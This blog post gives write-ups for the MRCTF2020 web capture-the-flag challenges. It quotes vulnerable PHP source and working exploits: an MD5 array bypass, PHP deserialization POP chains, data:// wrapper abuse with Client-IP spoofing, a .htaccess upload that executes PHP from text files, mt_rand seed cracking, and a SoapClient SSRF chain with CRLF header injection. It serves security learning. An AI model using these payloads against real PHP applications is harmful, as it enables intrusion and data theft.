MRCTF2020-web

MRCTF2020-web

MRCTF2020-web

题解

[MRCTF2020]Ez_bypass

考察:MD5强相等绕过,is_number()绕过

提供源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}

}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first

exp:

1
2
GET: id[]=1&&gg[]=2
POST: passwd=1234567a

[MRCTF2020]Ezpop

考察反序列化

提供源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
 <?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=./flag.php';
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

$a = new Modifier();
$b = new Show();
$c = new test();


$c->p = $a;
$b->str = $c;


$b->source = $b;
echo serialize($b);

参考文章:https://www.cnblogs.com/fish-pompom/p/11126473.html

[MRCTF2020]套娃

考点:data伪协议,php特性

提供源码:

1
2
3
4
5
6
7
8
$query = $_SERVER['QUERY_STRING'];

if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}

php会将空格以及.换成_

preg_match()使用%0a绕过

1
?b.u.p.t=23333%0A

然后到secrettw.php

image-20200406182630113

F12解码jsfuck,要我们POST

image-20200406182821842

post:Merak=1

然后获得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';

if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}


function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

首先ipClient-ip: 127.0.0.1绕过

file_get_contents($_GET['2333']) === 'todat is a happy day'data伪协议绕过

然后根据解码算法写出加密算法

1
2
3
4
5
6
7
8
9
10
<?php
function enc($payload){
for($i=0; $i<strlen($payload); $i++){
$re .= chr(ord($payload[$i])-$i*2);
}
return base64_encode($re);
}
echo enc('flag.php');
//flag.php加密后得到:ZmpdYSZmXGI=
?>

payload:

1
?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=&file=ZmpdYSZmXGI=&file=ZmpdYSZmXGI=

并且Client-ip:127.0.0.1

获得flag

image-20200406183320560

[MRCTF2020]你传你🐎呢

考点:.htaccess上传

上传啥都不行,然后上传.htaccess

1
2
3
4
5
<FilesMatch "txt">

SetHandler application/x-httpd-php

</FilesMatch>

然后上传txt文件

1
2
3
<script language="php">phpinfo();</script>
<script language="php">readfile('/flag');</script>
<script language="php">echo file_get_contents("/flag");</script>

image-20200406204759629

这个没被禁,同时file_get_contents,这个也没有被禁

所以上传的txt文件就可以获得flag了。

[MRCTF2020]Ezaudit

考点:伪随机数漏洞

www.zip发现源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url= ');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}

else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}

}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}

//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???

考察伪随机数漏洞,BJD2nd考察过

1
2
3
4
5
6
7
8
9
10
str1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
str2 = 'KVQP0LdJKRaV3n9D'
str3 = str1[::-1]
res = ''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1) - 1) + ' '
break
print(res)

然后获得能被php_mt_seed识别的数据

image-20200407000957313

再爆破出key

image-20200407001413239

然后就可以得出private_key

但是这里要先获得公钥,才能再获得私钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

mt_srand(1775196155);
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}

//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}

echo public_key();
echo "\n";
echo private_key();

[MRCTF2020]Ezpop_Reveng

考察:Soap_Client类,代码审计,反序列化

image-20200408204709701

像这样子有CMs的一般都会有源码,www.zip获得源码

./usr/plugins/HelloWorld/Plugin.php中看到注入点

image-20200408205603622

然后我们找到pop链,在根目录下存在一个flag.php

image-20200408211141319

可以看出,我们需要通过SSRF来获得flag,这里就需要使用到soapClient类,所以这个pop链的结局就是,我们需要寻找一个类,使其的某个变量为soapclient,并且该变量还会调用某个方法,为了触发soapClient类的call方法

plugin.php

image-20200408211637970

这个__wakeup()中的Typecho_Db对象,我们跟进一下

image-20200408211847102

这里如果我们使得$adapterName为某个类。那么就会触发那个类中的__toString()

也就是说我们要使得对象HelloWorld_DB中的$coincidence=array('hello'=> 某个类的实例对象 )

全局搜索__toString

image-20200408212247204

跟进,在类Typecho_Db_Query中的__toString()

image-20200408212325318

这里的$this->_sqlPreBuild['action']$this->_adapter是可控的。

image-20200408213444175

那我们可以令

1
2
$this->_sqlPreBuild=['action'=>'SELECT']
$this->_adapter=SoapClient()
1
$this->_adapter->parseSelect($this->_sqlPreBuild);

这样就会触发SoapClient_call(),以触发SSRF

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

class HelloWorld_DB{
private $flag="MRCTF{this_is_a_fake_flag}";
private $coincidence;
public function __construct()
{
$this->coincidence = ['hello'=>new Typecho_Db_Query()];
}
}


class Typecho_Db_Query
{

private $_adapter;
private $_sqlPreBuild;

public function __construct()
{
$target = 'http://127.0.0.1/flag.php';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=11111111111111111111111111'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'HyyMbb^^'.join('^^',$headers),'uri' => "aaab"));
$this->_adapter=$b;
$this->_sqlPreBuild = ['action'=>'SELECT'];

}
}

参考:https://www.cnblogs.com/fish-pompom/p/11126473.html

这个时候先生成序列化的值,然后再做一些小处理
我们都知道私有变量类名的前后都有%00,但是某些特定版本的情况下,这样也会出错
这个时候我们需要将s改为S,并添加\00

image-20200408220747609

%00会被过滤,所以用\00来代替

得到了

1
$aaa = 'O:13:"HelloWorld_DB":1:{S:26:"\00HelloWorld_DB\00coincidence";a:1:{s:5:"hello";O:16:"Typecho_Db_Query":2:{S:30:"\00Typecho_Db_Query\00_sqlPreBuild";a:1:{s:6:"action";s:6:"SELECT";}S:26:"\00Typecho_Db_Query\00_adapter";O:10:"SoapClient":5:{s:3:"uri";s:4:"aaab";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:15:"_stream_context";i:0;s:11:"_user_agent";s:79:"wupco^^X-Forwarded-For: 127.0.0.1^^Cookie: PHPSESSID=11111111111111111111111111";s:13:"_soap_version";i:1;}}}}';

然后

1
2
3
4
5
6
7
8
$aaa = 'O:13:"HelloWorld_DB":1:{S:26:"\00HelloWorld_DB\00coincidence";a:1:{s:5:"hello";O:16:"Typecho_Db_Query":2:{S:30:"\00Typecho_Db_Query\00_sqlPreBuild";a:1:{s:6:"action";s:6:"SELECT";}S:26:"\00Typecho_Db_Query\00_adapter";O:10:"SoapClient":5:{s:3:"uri";s:4:"aaab";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:15:"_stream_context";i:0;s:11:"_user_agent";s:79:"wupco^^X-Forwarded-For: 127.0.0.1^^Cookie: PHPSESSID=11111111111111111111111111";s:13:"_soap_version";i:1;}}}}';

$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);

echo $aaa;
echo "\n";
echo base64_encode($aaa);

获得exp

1
2
3
4
C0incid3nc3=TzoxMzoiSGVsbG9Xb3JsZF9EQiI6MTp7UzoyNjoiXDAwSGVsbG9Xb3JsZF9EQlwwMGNvaW5jaWRlbmNlIjthOjE6e3M6NToiaGVsbG8iO086MTY6IlR5cGVjaG9fRGJfUXVlcnkiOjI6e1M6MzA6IlwwMFR5cGVjaG9fRGJfUXVlcnlcMDBfc3FsUHJlQnVpbGQiO2E6MTp7czo2OiJhY3Rpb24iO3M6NjoiU0VMRUNUIjt9UzoyNjoiXDAwVHlwZWNob19EYl9RdWVyeVwwMF9hZGFwdGVyIjtPOjEwOiJTb2FwQ2xpZW50Ijo1OntzOjM6InVyaSI7czo0OiJhYWFiIjtzOjg6ImxvY2F0aW9uIjtzOjI1OiJodHRwOi8vMTI3LjAuMC4xL2ZsYWcucGhwIjtzOjE1OiJfc3RyZWFtX2NvbnRleHQiO2k6MDtzOjExOiJfdXNlcl9hZ2VudCI7czo3OToid3VwY28NClgtRm9yd2FyZGVkLUZvcjogMTI3LjAuMC4xDQpDb29raWU6IFBIUFNFU1NJRD0xMTExMTExMTExMTExMTExMTExMTExMTExMSI7czoxMzoiX3NvYXBfdmVyc2lvbiI7aToxO319fX0=


PHPSESSION=11111111111111111111111111

访问page_admin

image-20200408221134419

因为我们的soapClientPHPSESSION=11111111111111111111111111

修改session

image-20200408221537755

image-20200408221603444

Author: 我是小吴啦
Link: http://yoursite.com/2020/04/09/MRCTF2020-web/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.